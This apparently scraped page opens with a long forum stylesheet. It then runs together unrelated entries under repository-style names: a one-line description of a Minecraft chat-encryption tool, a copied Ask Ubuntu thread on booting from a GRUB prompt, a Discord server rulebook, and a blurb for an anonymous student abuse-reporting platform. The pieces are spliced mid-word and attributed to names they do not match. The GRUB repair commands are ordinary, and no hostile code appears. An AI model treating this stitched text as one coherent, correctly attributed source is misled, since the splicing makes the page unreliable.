.inner{border-color:#289cdb}span.st-rang.topicit{background:#289cdb;border-radius:3px;color:#fff;cursor:pointer;font-weight:700;padding:5px}span.st-rang.topicit:hover{background:#2e3133}.post-table{background:#EEE;border:1px solid #CCC;border-spacing:0;color:#333;width:100%}.post-table td{border-bottom:1px solid #CCC;border-right:1px solid #CCC;padding:3px 6px}#fa_notice{background:#FFF url(https://i.servimg.com/u/f18/18/21/41/30/bull-f10.png) no-repeat 10px 50%;border:1px solid #39C;border-radius:3px;color:#333;font-family:Verdana, Helvetica, Sans-serif;font-size:13px;margin:12px 0;padding:25px 6px 25px 70px}#fa_notice.noti_warn{background-color:#FEE;background-image:url(https://i.servimg.com/u/f18/18/21/41/30/warn-f10.png);border-color:#C99;color:#933}#cp-main .panel.sig::before,#cp-main .panel.sig:before{background:#F5F5F5;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;color:#E53;content:'Atenção: A sua alteração será salva, no entanto, apenas os membros da equipe podem exibir a suas assinaturas neste fórum.';display:block;font-weight:700;margin:6px 0;padding:6px;text-align:center}#fa_popup_content #main-content .topic-actions,#fa_popup_content .pag-img,#fa_popup_content .post .vote,#fa_popup_content .right,#fa_popup_content .right-box,#fa_popup_content form[action="/memberlist"]{display:none}li.thumb-msg span.thumb-up{background-color:#73BC4E!important;border-radius:24px;box-sizing:border-box;color:#DAEDD1;display:inline-block!important;font-size:1.4em;font-weight:700;height:29px;padding:6px 9px}li.thumb-msg span a{color:#FFF}div.sceditor-dropdown.sceditor-presets{padding:0;width:175px}.sceditor-presets .group{border-bottom:1px solid #CCC;height:150px;overflow-y:auto}.sceditor-presets a.toggler{border-bottom:1px solid #CCC;font-size:11px;font-weight:700}.sceditor-presets i{font-size:14px;margin-right:5px;text-align:center;width:20px}.sceditor-presets img{margin-right:5px;vertical-align:middle;width:15px}.sceditor-container textarea{font-family:Verdana,Arial,Helvetica,sans-serif,FontAwesome!important}.sceditor-button-fontawesome div{background:url(https://i.servimg.com/u/f19/19/06/98/92/fa-f10.png)!important}.sceditor-fontawesome{height:250px;overflow-y:auto;width:220px}.sceditor-fontawesome i{color:#333;cursor:pointer;font-size:20px;padding:3px 0;text-align:center;width:25%}.sceditor-fontawesome i:hover{color:#666}.post-button a{-webkit-transition:.3s;background-color:#39C;border:1px solid #39C;border-radius:3px;color:#FFF;display:inline-block;font-weight:700;padding:6px 12px;text-decoration:none;transition:.3s}.post-button.red a{background-color:#E53;border-color:#E53}.post-button.green a{background-color:#8C5;border-color:#8C5}.post-button.yellow a{background-color:#EB3;border-color:#EB3}.post-button a:hover{background-color:#28B}.post-button.red a:hover{background-color:#D42}.post-button.green a:hover{background-color:#7B4}.post-button.yellow a:hover{background-color:#DA2}.post-button a:active,.post-button a:focus{background-color:#333!important;border-color:#222!important}.post-button i{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-family:FontAwesome;font-size:inherit;font-style:normal;font-variant:normal;font-weight:400;line-height:1;text-rendering:auto;transform:translate(0,0)}.content,body{font-family:Verdana,Arial,Helvetica,sans-serif}.creationForm{background:#EEE;border:1px solid #CCC;border-radius:3px;box-shadow:0 6px 12px rgba(0,0,0,.176);color:#444;padding:6px;position:absolute;z-index:100}#fa_widget_toggle,.creationForm a{border-radius:3px;font-weight:700;text-align:center}.creationForm a{background:#369FCF;color:#FFF;margin:3px 0;padding:3px;text-transform:uppercase;width:auto!important}.creationForm a:hover{background:#2A87B2}.rang-1{color:#39C}.rang-2{color:#333}.rang-2::before,.rang-2:before{color:#39C;content:"m";overflow:hidden;position:absolute;width:6px}.rang-3{color:#BBB}a.markSolved,a.markSolved:active,a.markSolved:focus{background-color:#8C5;border-color:#8C5;padding:5px 12px!important}a.markSolved:hover{background-color:#7B4;border-color:#6A3}a.markSolved.marked{opacity:.5}a.markSolved i{font-size:13px}.codebox dt .code-a{color:#FFF;float:right;text-decoration:underline;text-transform:none}.codebox dt .code-a:hover{text-decoration:none}#fa_widget_toggle{background:#39C;border-bottom:2px solid #17A;color:#FFF;display:inline-block;font-size:12px;margin-top:20px;padding:0 6px;transition:.3s}#fa_widget_toggle:hover{background-color:#333;border-color:#111}#fa_widget_toggle:active,#fa_widget_toggle:focus{background-color:#8B5;border-color:#693}ul table.tag{background-color:#d8ecf5;border-radius:4px;color:#2d8cbb!important;font-weight:600;padding:4px 5px}*{margin:0;padding:0}.post ul{list-style-type:disc}ul{list-style-type:none}.postbody .content{font-size:1.3em}.content{color:#555;font-size:1em;line-height:1.4em}.postbody{color:#555;line-height:1.48em}html{font-size:100%}.post table code{word-break:break-all}.module.mod_news .content table + br{display:none}.newStaffList,.staff-list{border-spacing:0}.portal{width:98%!important}#forum_rules td{line-height:23px;padding:10px}#forum_rules td.logo{width:50px}#forum_rules .logo img{padding-top:6px}#forum_rules .rules.content img{vertical-align:middle}.topiclist.topics dl.topic-unico{background-color:#ece0f1}.topiclist.topics dl.topic-solved{background-color:rgba(139,195,74,.33)}#superbottom div.module{float:right;margin-top:0;width:210px}#cp-main #memberlist tr td.posts:first-child,#cp-main form[action="/search?search_id=favouritesearch"] tr td.posts:first-child{width:40px}#cp-main #memberlist tr td.posts:first-child img,#cp-main form[action="/search?search_id=favouritesearch"] tr td.posts:first-child img{height:37px;width:40px}.staff-list .staff-rank img{float:right}.staff-description{background-color:#EF3333;color:#fff;font-family:sans-serif;padding:5px 10px}.staff-description.mod{background-color:#7BB92B}.staff-description.ajuda{background-color:#F5AE42}.staff-description.art{background-color:#787DEA}.staff-description.pub{background-color:#00B5D1}.newStaffList{border:1px solid #EEE;font-weight:700;table-layout:fixed;text-align:center;width:100%}.newStaffList.admin,.newStaffList.admin a{color:#EF3333}.newStaffList.mod,.newStaffList.mod a{color:#7BB92B}.newStaffList.ajuda,.newStaffList.ajuda a{color:#F5AE42}.newStaffList.art,.newStaffList.art a{color:#787DEA}.newStaffList.pub,.newStaffList.pub a{color:#00B5D1}.newStaffList tr td{background-color:#F7F7F7;padding-top:5px}.newStaffList tr td:nth-child(2n+2){background-color:#F2F2F2}.newStaffList tr:not(.newStaffListPM) img{border:3px solid #fff;border-radius:50%;box-shadow:0 1px 3px rgba(0,0,0,.3),0 0 1px rgba(0,0,0,.3);display:block;height:50px;margin:auto auto 10px;object-fit:cover;width:50px}.newStaffListPM td{color:#555;cursor:default;font-family:FontAwesome;font-size:16px;font-weight:400;padding-bottom:5px;padding-top:5px;vertical-align:top}.btn-buttom,.fb_iframe_widget,.sceditor-presets img,a#fa_welcome img,div.foruns p a img,table.listTutorial tr{vertical-align:middle}.newStaffListPM td a{color:#555!important}.newStaffListPM td::after{background-color:#FAFAFA;border-radius:50%;font-size:12px;left:8px;margin-left:-12px;position:relative;top:-5px}.newStaffListPM td.PMOff::after{color:#E54732;content:'\f057'}.newStaffListPM td.PMOn::after{color:#60a53a;content:'\f058'}.none{display:none!important}.btn-buttom td,.btn-buttom td a{color:#fff!important}.btn-buttom{-moz-user-select:none;-ms-user-select:none;-webkit-user-select:none;background-color:#337ab7;background-image:none;border:1px solid #2e6da4;border-radius:4px;color:#fff;cursor:pointer;font-size:14px;font-weight:400;line-height:1.42857143;margin-bottom:0;padding:6px 12px;text-align:center;touch-action:manipulation;user-select:none;white-space:nowrap}.btn-buttom:hover{background-color:#2E3133;border-color:#adadad;color:#333}.pedido_alertado,.pedido_finalizado,.pedido_rejeitado{background-color:#ffe0fc;background-position:10px 50%;background-repeat:no-repeat;border:2px solid #c6c;border-radius:3px;margin:10px 0;padding:35px 20px 35px 120px}.pedido_finalizado{background-image:url(https://i.imgur.com/bSiBjKM.png)}.pedido_rejeitado{background-image:url(https://i.imgur.com/Ao6iGOK.png)}.pedido_alertado{background-image:url(https://i.imgur.com/akNRrPf.png)}#profile-advanced-right img:first-child{max-height:200px;max-width:150px}a#fa_welcome img{margin:0 5px 0 0 !important;top:0!important}table.listTutorial:hover{-webkit-transition:all .1s ease-in-out;font-size:17px;transition:all .1s ease-in-out}table.listTutorial tr{padding-top:10px}table.listTutorial td.exp{-webkit-transition:all .1s ease-in-out;border-right:2px solid #659b15;padding:3px;transition:all .1s ease-in-out;vertical-align:middle}table.listTutorial td.exp:hover{-webkit-transition:all .1s ease-in-out;background:rgba(255,87,34,.08);border-right:5px solid #FF5722;transition:all .1s ease-in-out}table.listTutorial td.ico{padding-right:3px}table.listTutorial td.ico:hover{-webkit-transition:all .1s ease-in-out;color:#39c;transition:all .1s ease-in-out}form[name=form_login] .social_btn{display:inline-block;text-align:left}.fb_or{display:inline-block}form#forum-search input#search_keywords+input.button2{border-bottom:none!important;border-radius:0 3px 3px 0!important;height:30px}table.table1 tr>td[bgColor]:first-child{background-color:#39c;color:#fff}table.table1 tr>td[bgColor]:first-child *{color:#fff}.fa-social-network .fa-eye-slash{color:#ef3333;left:4px;position:relative;top:-20px}.navigation{background:#39c;border:1px solid #DDD;border-radius:3px}div#fa_language_list div.title,div.navigation div.title{color:#fff;font-size:12px;font-weight:700;margin-bottom:3px;margin-top:10px;padding-bottom:2px;text-transform:uppercase}.mainmenu,.submenu{list-style:none;margin:0;padding:0}.mainmenu a{background-color:#fafafa;cursor:pointer;display:block;padding:10px;text-decoration:none}div.foruns,p.foruns_button_close{padding:5px}.mainmenu a:hover{background-color:#39c;color:#fff}.mainmenu li:hover .submenu{display:block;max-height:200px}.submenu a{background-color:#f0f6f8;border-bottom:1px solid #fafafa;box-shadow:5px 13px 25px 0 #000}.submenu a:hover{background-color:#666}.submenu{-webkit-transition:all .5s ease-out;max-height:0;overflow:hidden}div.foruns{background:#fafafa;border-radius:4px;margin-bottom:10px;margin-left:10px;margin-right:10px}p.foruns_button_close a{background:#fff;border-radius:3px;padding:5px}dl#field_id10 span img{display:none!important}a[href^="/u63853"]{color:#289cdb!important;font-weight:700!important}#moderator-tools .generate,#moderator-tools h2{color:#fff;text-shadow:rgba(0,0,0,.3) 1px 1px 1px}#moderator-tools *,#moderator-tools :after,#moderator-tools :before{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;border:none;box-sizing:border-box;margin:0;outline:0;padding:0}#moderator-tools{background:#EFF9FC;border-radius:5px;box-shadow:#a2cf65 0 0 1px;font-family:'Lucida sans',sans-serif;font-size:14px;font-style:normal;font-variant:normal;font-weight:400;overflow:hidden}#moderator-tools h2{background:#1f7cbf;border-bottom:#a2cf65 5px solid;font-size:15px;margin:0;padding:.5em}#moderator-tools :disabled{cursor:not-allowed;opacity:.4}#moderator-tools input,#moderator-tools select{background:#fff;border:1px solid #add8e6;border-radius:3px;display:block;padding:3px 5px;width:100%}#moderator-tools .tools-group:not(.tools-header){padding:3px 5px 0}#moderator-tools .generate{background:#a2cf65;border:none;border-radius:2px;box-shadow:inset 0 -3px 0 rgba(0,0,0,.3);cursor:pointer;display:inline-block;font-size:13px;margin:.2em 0;outline:0;padding:.3em 1em .4em;position:relative;text-align:center}#moderator-tools .generate:active{box-shadow:inset 0 -1px 0 rgba(0,0,0,.3);top:2px}.sceditor-button-modcolor div{background-image:url(https://i.servimg.com/u/f56/18/45/41/65/mcolo10.png)!important}.sceditor-button-presets div{background-image:url(https://i.servimg.com/u/f39/18/21/41/30/tuto14.png)!important}#main-content > p:nth-child(1):first-child,#main-content > p:nth-child(1):first-child + p:nth-child(2),#main-content > p:nth-child(1):first-child + p:nth-child(2) + br{display:none}#content-container div#left{margin-top:3px}[id] .module .inner{padding:10px}[id] .module .inner .h3{background-color:#39C;border-bottom:solid 1px #ddd;box-sizing:border-box;color:#fff;font-family:"Trebuchet MS", Arial, sans-serif;font-size:13px;font-weight:700;line-height:1.4;margin:-10px -20px 10px;padding:7.5px 10px 6.5px;text-align:center;text-transform:uppercase}em.hovicon{border-radius:50%;cursor:default;display:inline-block;font-size:25px;height:60px;line-height:60px;margin:15px 15px 0;position:relative;text-align:center;text-decoration:none;width:60px;z-index:1}.hovicon.auto-width{height:auto;padding:15px;width:auto}.hovicon:after{border-radius:100px;box-sizing:content-box;content:'';height:100%;moz-box-sizing:content-box;pointer-events:none;position:absolute;webkit-box-sizing:content-box;width:100%}.hovicon:before{display:block;font-style:normal;font-variant:normal;font-weight:400;speak:none;text-transform:none;webkit-font-smoothing:antialiased}.hovicon.effect-3{box-shadow:0 0 0 4px #eee;transition:color .3s;webkit-box-shadow:0 0 0 4px #eee;webkit-transition:color .3s}.hovicon.effect-3:after{background:#369fcf;left:-2px;padding:2px;top:-2px;transition:transform .2s,opacity .3s;webkit-transition:-webkit-transform .2s,opacity .3s;z-index:-1}.hovicon.effect-3.sub-a{box-shadow:0 0 0 4px #fff!important;cursor:auto;webkit-box-shadow:0 0 0 4px #fff!important}.hovicon.effect-3.sub-a,.hovicon.effect-3.sub-a i{color:#fff}.hovicon.effect-3.sub-b,.hovicon.effect-3.sub-b i{color:#3c3940}.hovicon.effect-3.sub-a:hover,.hovicon.effect-3.sub-b:hover,.hovicon.effect-3.sub-b:hover i{color:#fff}.hovicon.effect-3.sub-a:after,.hovicon.effect-3.sub-b:after{ms-transform:scale(1.3);opacity:0;transform:scale(1.3);webkit-transform:scale(1.3)}.hovicon.effect-3.sub-a:hover:after,.hovicon.effect-3.sub-b:hover:after{ms-transform:scale(1);opacity:1;transform:scale(1);webkit-transform:scale(1)}table.devTable{background:url(https://illiweb.com/fa/modernbb/bg_header.svg) center center no-repeat #369fcf;background-size:cover;border-bottom:1px solid #2e3133;border-left:1px solid #2e3133;border-radius:2px;border-right:1px solid #2e3133;border-top:5px solid #2e3133;padding:10px;table-layout:fixed}table.devTable td.titulo h2{border:none!important;color:#fff;font-family:Arial;line-height:0;text-align:center}table.devTable .palign{background:rgba(0,0,0,.2);color:#fff;line-height:1.5rem;padding:15px}table.devTable .bodyClear{background-color:#fff;border-radius:3px;padding:10px}table.devTable .bodyClear h3{border-bottom:dashed 1px #E9553C!important}table.devTable td.footer{color:rgba(255,255,255,.22);line-height:50px}#form_move_mod{padding-top:5px}.sugestion_study,.topic_alert,.topic_solved,.topic_warn{background-position:10px 50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;margin:10px 0;padding:35px 20px 35px 120px}.sugestion_study{background-color:#FFFAE0;background-image:url(https://i.servimg.com/u/f19/18/76/69/60/study10.png);border-color:#FFBD00}.topic_solved{background-color:#EDFFE0;background-image:url(https://i.servimg.com/u/f39/15/88/72/83/symbol10.png);border-color:#84C754}.topic_warn{background-color:#FFE6E2;background-image:url(https://i.servimg.com/u/f39/15/88/72/83/warnin10.png);border-color:#E9553C}.topic_alert{background-color:#FBFFB2;background-image:url(https://i.servimg.com/u/f39/15/88/72/83/delete11.png);border-color:#E9C63C}.tuto-ast-off,.tuto-jur,.tuto-jur-contain,.tuto-off{background-color:#f7f7f7;border-right:1px solid #ddd;border-spacing:0;margin-left:-10px;position:relative;width:100%}div.postbody .tuto-ast-off:first-child,div.postbody .tuto-jur,div.postbody .tuto-off:first-child{border-radius:0 10px 0 0;margin-top:20px}.tuto-ast-title,.tuto-jur-title,.tuto-title{background:url(https://i.imgur.com/d8gCGFF.png) 0 -4px no-repeat #39c;border-radius:0 10px 0 0;border-top:2px solid #17a;color:#fff;font-family:sans-serif;font-size:25px;font-weight:700;height:100px;padding-left:100px;text-shadow:1px 0 0 #17a}.tuto-jur-title{background-color:#e34839;border-top:2px solid #dd2e20;text-shadow:1px 0 0 #dd2e20}.tuto-ast-title{background-color:#89ba5b;border-top:2px solid #57983a;text-shadow:1px 0 0 #57983a}.tuto-contain,.tuto-jur-contain td{border-left:75px solid #eee;border-right:20px solid #eee;padding:10px 20px}.tuto-contain h2.post-content,.tuto-jur-contain td h2.post-content{background-color:#eee;border-bottom:1px solid #ddd!important;color:#333!important;counter-increment:chapter;counter-reset:subpart;font-family:sans-serif;font-size:1.5em;margin-bottom:15px;margin-left:-20px;margin-right:-20px;padding:10px}.tuto-contain h3.post-content,.tuto-jur-contain td h3.post-content{border-bottom:1px solid #333;color:#333;counter-increment:subpart;font-family:sans-serif;padding-bottom:5px;text-transform:unset}.tuto-contain h2.post-content::before,.tuto-jur-contain td h2.post-content::before{background-color:#333;border-radius:31px;box-sizing:border-box;color:#fff;content:counter(chapter,decimal);display:inline-block;height:33px;margin-left:-50px;margin-right:15px;text-align:center;width:33px}.tuto-contain h3.post-content:before,.tuto-jur-contain td h3.post-content::before{content:counter(chapter) "." counter(subpart) ". "}.tuto-contain.reset,.tuto-jur-contain.reset{counter-reset:chapter}.tuto-ast-footer,.tuto-footer{background-color:#333;border-radius:0 0 10px;color:#fff;font-family:sans-serif;font-size:.9em;margin-bottom:15px;margin-left:-10px;width:100%}.tuto-ast-copy,.tuto-copy{padding:10px 20px}.tuto-ast-copy::before,.tuto-copy::before{content:"\f129";float:right;font-family:FontAwesome;font-size:6em;margin-top:28px}.mod-action{background-color:#39c;border:2px solid #39c;border-radius:2px;color:#fff;display:block;margin:1em 25px 1em 1em;padding:15px}.mod-action tbody,.mod-action thead{display:block;width:100%}.mod-action tbody>tr{-ms-flex-align:center;-ms-flex-pack:justify;-webkit-box-align:center;-webkit-box-pack:justify;align-items:center;display:flex;justify-content:space-between;width:100%}.mod-action td{flex-grow:1}.mod-action tbody>tr>td.icon{flex-grow:initial;font-size:25px;margin-right:15px}.mod-action h2,.mod-action h3,.mod-action h4{color:inherit;font-size:1.2em;margin-bottom:.4em}.mod-action h2+br,.mod-action h3+br,.mod-action h4+br{display:none}.mod-action a{color:inherit;text-decoration:underline}.mod-action a:hover{color:#eee}.mod-action.adm,.mod-action.danger{background-color:#EF3333;border-color:#EF3333}.mod-action.mod,.mod-action.success{background-color:#68B800;border-color:#68B800}.mod-action.aju,.mod-action.warning{background-color:#F5AE42;border-color:#F5AE42}.mod-action.art{background-color:#787DEA;border-color:#787DEA}.mod-action.pub{background-color:#00B5D1;border-color:#00B5D1}.mod-action.dev{background-color:#444;border-color:#444}@media only screen and (min-width:1240px){#wrap{max-width:80%}}@media only screen and (min-width:1100px) and (max-width:1239px){#wrap{max-width:90%}}@media only screen and (min-width:901px) and (max-width:1200px){.cards .card{padding:20px 15px}.cards .fa{font-size:20px}}@media screen and (max-width:1224px){.main-left ul.fa-ul{display:none}.main-left ul.mini-screen{display:block}}@media screen and (min-width:1570px){.post.search .postbody img,.postbody .content img{max-width:700px}}@media screen and (max-width:1569px) and (min-width:1270px){.post.search .postbody img,.postbody .content img{max-width:500px}}@media screen and (max-width:1269px) and (min-width:1130px){.post.search .postbody img,.postbody .content img{max-width:400px}}@media screen and (max-width:1029px){.post.search .postbody img,.postbody .content img{max-width:350px}} .fade { display:inline-block; background: -moz-linear-gradient(left, rgb(235,234,221) 0%, rgba(235,234,221,0) 100%); background-image: -webkit-gradient(linear, left top, right top, color-stop(0.00, rgb(235,234,221)), color-stop(1.00, rgba(235,234,221,0))); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ebeadd, endColorstr=#00ebeadd, GradientType=1); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#ebeadd, endColorstr=#00ebeadd, GradientType=1)"; } .blur { display:inline-block; color:#ddd; text-shadow: 0 0 2px #aaaaaa; text-shadow: 0 0 4px #aaaaaa; text-shadow: 0 0 6px #aaaaaa; -ms-filter: "progid:DXImageTransform.Microsoft.Blur(pixelradius=2)"; filter: progid:DXImageTransform.Microsoft.MotionBlur(strength=1,direction=310) progid:DXImageTransform.Microsoft.Blur(pixelradius=2); } .flipH { display:inline-block; -moz-transform:scale(-1,1); -o-transform:scale(-1,1); -webkit-transform:scale(-1,1); transform:scale(-1,1); -ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=-1, M12=0, M21=0, M22=1, SizingMethod='auto expand')"; filter: progid:DXImageTransform.Microsoft.Matrix( M11=-1, M12=0, M21=0, M22=1, SizingMethod="auto expand"); } .flipV { display:inline-block; -moz-transform:scale(1,-1); -o-transform:scale(1,-1); -webkit-transform:scale(1,-1); transform:scale(1,-1); -ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=1, M12=0, M21=0, M22=-1, SizingMethod='auto expand')"; filter: progid:DXImageTransform.Microsoft.Matrix( M11=1, M12=0, M21=0, M22=-1, SizingMethod="auto expand"); }
ALaggyDev / Ncr RsRust implementation of chat encryption in the Minecraft mod No Chat Reports
Aryia-Behroziuan / Boot GrubHow do I boot my PC from GRUB? [duplicate] Asked 3 years, 4 months ago Active 2 years, 5 months ago Viewed 107k times 16 12 This question already has answers here: How can I repair grub? (How to get Ubuntu back after installing Windows?) (14 answers) Closed 2 years ago. I can no longer boot Ubuntu following a corruption problem initially reported here (How do I solve the "invalid arch dependent elf magic" error message). When I power my laptop, I now get the following message: GNU GRUB version 2.02~beta2-9ubuntu1.7 Minimal BASH-like line editing is supported. For the first word, TAB lists possible command completions. Anywhere else TAB lists possible device or file completions." and then the prompt grub> Can anyone help me get back to Ubuntu ? boot grub2 share improve this question follow edited Jul 2 '17 at 18:17 You'reAGitForNotUsingGit 13.4k99 gold badges3838 silver badges7373 bronze badges asked Jun 28 '17 at 7:49 Mons 15911 gold badge33 silver badges77 bronze badges Comments are not for extended discussion; this conversation has been moved to chat. – Thomas Ward♦ Jul 2 '17 at 19:03 Big thumbs up to everybody. I chased down a few leads and finally solved the problem by booting from a live CD and entering the command "sudo update-grub" @derHugo your help was massively useful. – Mons Jul 2 '17 at 19:29 1 The various hints given by @derHugo can be found on the chat site on Stack Exchange here: chat.stackexchange.com/rooms/61451/… and in particular when he recommended googling the question, here: "Haha sorry always forget that ^^ anyway please Google it there are tons of articles addressing this issue e.g. here is another one". Anyway, I'm absolutely made up to be up and running on my laptop again. I know I'm not supposed to say thanks, but I will all the same. THANKS ! – Mons Jul 2 '17 at 21:59 add a comment 3 Answers 35 Ok, from grub type ls (hd0,1)/ you should see a file named vmlinuz or linux, and initrd.img Type linux (hd0,1)/vmlinuz root=/dev/sda1 or linux (hd0,1)/linux root=/dev/sda1 depending on what you found with ls (hd0,1)/, then: initrd (hd0,1)/initrd.img boot If you get initramfs rescue mode enter your password, then startx. You should now have a desktop. Use gparted to check your file system, if it reports an error, then you need to boot from a LiveCD or other media to fix it .... DO NOT attempt to repair a mounted partition. The following three commands fix many grub boot problems. They run quick so just do all three instead of trying to find which one you need. sudo grub-install /dev/sda && sudo update-grub && sudo update-initramfs -u Reboot and see what you get. share improve this answer follow edited Feb 2 '18 at 5:55 answered Jul 2 '17 at 18:49 ravery 6,11955 gold badges1616 silver badges3535 bronze badges 3 Is it really innitrd or should it be initrd? – WinEunuuchs2Unix Jul 2 '17 at 19:52 1 It is actually initrd – answerSeeker Jul 2 '17 at 20:19 1 @ravery Yes I could have corrected the typo. I have a weird point of view thinking it's more polite to point out to the author and letting them make the change. That way an otherwise spotless answer doesn't have the "blemish" of an "edited by someone else" flag. I do edit new users' questions frequently though... Have another +1 :) – WinEunuuchs2Unix Jul 2 '17 at 22:18 1 IF you stuck in "INITRAMFS" not in a fully booted system you can't use startx cause there is no desktop there, what you are referring as initramfs should be multi-user.target. – Ravexina♦ Jul 5 '17 at 8:53 3 In case the files above aren't listed, try iterating on ls (hd0,1)/ command, as in: ls (hd0,2)/, ls (hd0,3)/, etc. as suggested in here. – Nae Dec 23 '18 at 17:46 show 9 more comments 1 The most probable cause to that issue is installing the OS to a disk, grub to a different disk that is not removable. Then removing the OS disk. You could just plug the USB stick back in. Problem solved. share improve this answer follow edited Jul 2 '17 at 19:17 answered Jul 2 '17 at 19:02 RobotHumans 26.2k33 gold badges6969 silver badges109109 bronze badges Solution found (see above). – Mons Jul 2 '17 at 19:29 I saw the chat conversation. Solved with update-grub, which supports not refutes this answer. – RobotHumans Jul 2 '17 at 19:32 add a comment 1 Restart your system. Press f2 key while loading. Goto boot option. Press f5/f6 to change values (which os you want to install keep it in first place.). Enter f10 key....It may solve your problem. . . . If not enter this in grub rescue mode.... ls (hd0) (hd0,msdos6) (hd0,msdos5)....(hd0,msdos1) OR (hd0) (hd0,gpt6).....(hd0,gpt1) set boot=(hd0,gpt6) OR set boot=(hd0,msdos6) set prefix=(hd0,gpt6)/boot/grub OR use msdos6 instead. insmod normal normal This may solve your problem. share improve this answer follow answered Jul 9 '17 at 8:11 Pavan Rao 1122 bronze badges these are various ways to launch grub. this is not the issue as OP states. grub launches but drops to recovery mode. The issue is that the grub config file is missing – ravery Jul 9 '17 at 8:23 add a comment Not the answer you're looking for? Browse other questions tagged boot grub2 or ask your own question.
gamer167 / Rules10122No blank nicknames. No inappropriate nicknames. No sexually explicit nicknames. No offensive nicknames. No nicknames with unusual or unreadable Unicode. No blank profile pictures. No inappropriate profile pictures. No sexually explicit profile pictures. No offensive profile pictures. No membership granted to minors (under 18 years). Moderators reserve the right to change nicknames. Moderators reserve the right to use their own discretion regardless of any rule. No exploiting loopholes in the rules (please report them). No DMing other members of the server. Rules apply to DMing other members of the server. No inviting unofficial bots. No bugs, exploits, glitches, hacks, bugs, etc. Text chat rules No questioning the mods. No @mentioning the mods. No asking to be granted roles/moderator roles. @mention the moderators for support. Contact the moderators under #channel for support. No @everyone/@here mentioning without permission. No @mentioning spam. No sexually explicit content. No pornographic content. No NSFW content. No illegal content. No piracy. No modding. No homebrew. No hacking. No publishing of personal information (including real names, addresses, emails, passwords, bank account and credit card information, etc.). No personal attacks. No witch hunting. No harassment. No sexism. No racism. No hate speech. No offensive language/cursing. No religious discussions. No political discussions. No sexual discussions. No flirting. No dating. No flaming. No flame wars. Agree to disagree. No trolling. No spamming. No excessive messaging (breaking up an idea in many posts instead of writing all out in just one post). No walls of text (either in separate posts or as a single post). No CAPS LOCK. No overusing emojis. No overusing reactions. No external emojis. Keep conversations in English. Use #channel for conversations in another/other language(s). Moderators reserve the right to delete any post. Moderators reserve the right to edit any post. No advertisement. No advertisement without permission. No links. No linking to other servers. No memes. No pictures. No gifs. No bot commands. Bot commands only under #channel. List of allowed bot commands: No channel hopping. No offtopic/use the right text channel for the topic you wish to discuss. Voice chat rules No voice chat channel hopping. No annoying, loud or high pitch noises. Reduce the amount of background noise, if possible. Push to talk only. Moderators reserve the right to disconnect you from a voice channel if your sound quality is poor. Moderators reserve the right to disconnect, mute, deafen, or move members to and from voice channels. Bot specific rules No command spam. No macros. No hacks. No adding/changing/removing commands.
studentrant / Studentrant Api[WIP] Need to report abuses in your school? Student Rant is the best platform that offers you an anonymous shield while reporting abuses happening in your school. We also provide different chat rooms where you get to connect with other students across the globe. Here, you get to say your mind with no restraints, share values and school materials as well as connect with like minds. Welcome on board as we get you the necessary help suited just for you!